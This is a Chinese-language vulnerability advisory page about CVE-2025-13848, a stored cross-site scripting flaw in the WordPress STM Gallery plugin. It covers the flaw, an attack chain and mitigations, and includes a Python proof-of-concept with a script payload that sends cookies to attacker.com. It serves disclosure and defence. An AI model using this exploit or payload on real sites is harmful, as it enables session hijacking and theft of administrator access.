IPBUF安全漏洞报告
English
CVE-2025-13848 CVSS 6.4 中危

CVE-2025-13848: WordPress STM Gallery插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13848
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress STM Gallery插件

相关标签

存储型XSSWordPress插件漏洞STM GalleryCVE-2025-13848跨站脚本攻击身份验证后漏洞Contributor权限

漏洞概述

CVE-2025-13848是WordPress STM Gallery插件中存在的一个存储型跨站脚本(XSS)安全漏洞。该插件是一款用于在WordPress网站上创建和管理图片画廊的流行插件。漏洞源于插件对用户输入的'composicion'参数缺乏充分的输入消毒(input sanitization)和输出转义(output escaping),导致恶意脚本代码可以被永久存储在服务器端数据库中。攻击者利用此漏洞需要拥有WordPress网站的Contributor级别或更高权限。成功利用后,攻击者注入的恶意JavaScript代码会在其他用户访问包含恶意内容的页面时自动执行,可能导致会话劫持、敏感信息窃取、管理权限滥用等严重后果。由于漏洞属于存储型XSS,恶意代码会长期存在于系统中,影响范围广泛且持续时间长。此漏洞影响STM Gallery插件0.9及以下所有版本,CVSS评分6.4,属于中危漏洞。建议网站管理员立即采取修复措施以防止潜在攻击。

技术细节

漏洞位于STM Gallery插件的stmgallery_v.0.9.php文件第121行附近,处理'composicion'参数的代码逻辑中。插件在接收用户提交的'composicion'参数值时,直接将用户输入存储到数据库而未进行充分的输入验证和消毒处理。在后续页面渲染过程中,存储的恶意Payload未经过正确的HTML实体转义就直接输出到网页HTML中,导致存储型XSS漏洞。攻击者利用方式如下:首先使用具有Contributor权限的账户登录WordPress后台,通过编辑STM Gallery相关设置或内容,将恶意JavaScript代码作为'composicion'参数值提交。恶意代码会被存储在WordPress数据库中,当其他用户访问包含该画廊内容的页面时,浏览器会解析并执行注入的脚本。典型的攻击Payload可能包含<script>标签或事件处理器属性(如onerror、onload等)。由于WordPress的权限控制机制,Contributor角色通常无法直接访问插件核心文件,但通过XSS漏洞可以窃取管理员的Cookies或执行其他需要更高权限的操作。攻击成功后,攻击者可进一步利用窃取的认证信息进行横向移动或提权攻击。

攻击链分析

STEP 1
1
攻击者获取WordPress Contributor级别账户访问权限
STEP 2
2
攻击者构造包含恶意JavaScript代码的'composicion'参数值
STEP 3
3
攻击者通过WordPress后台或插件接口提交恶意Payload
STEP 4
4
插件将恶意代码未经消毒直接存储到WordPress数据库
STEP 5
5
受害用户访问包含恶意内容的页面时,浏览器执行注入的脚本
STEP 6
6
恶意脚本窃取用户会话Cookie并发送到攻击者控制的服务器
STEP 7
7
攻击者利用窃取的认证信息劫持会话,可能进一步获取管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13848 PoC - STM Gallery Stored XSS # Requires WordPress Contributor-level access import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_stm_gallery_xss(): """ Exploit for CVE-2025-13848: Stored XSS in STM Gallery 'composicion' parameter """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload via 'composicion' parameter # Target: STM Gallery plugin settings or gallery content edit page # The exact URL depends on plugin structure inject_url = f"{TARGET_URL}/wp-admin/admin.php?page=stm-gallery-settings" # Malicious payload - cookie stealing XSS xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" inject_data = { 'composicion': xss_payload, 'submit': 'Save Changes' } inject_response = session.post(inject_url, data=inject_data) if inject_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] When admin visits affected page, cookies will be sent to attacker") else: print("[-] Injection failed") return False return True if __name__ == "__main__": exploit_stm_gallery_xss()

影响范围

STM Gallery插件 <= 0.9 (所有版本)

防御指南

临时缓解措施
立即临时缓解措施:1) 如果可能,暂时禁用STM Gallery插件直到官方发布安全更新;2) 检查并删除数据库中包含<script>标签或事件处理器属性的'composicion'记录;3) 审查所有具有Contributor及以上权限的用户账户活动日志;4) 为管理员账户启用双因素认证以防止账户被盗用;5) 在Web应用防火墙上添加针对XSS攻击特征的检测规则;6) 通知网站用户注意可疑的钓鱼邮件或异常登录行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表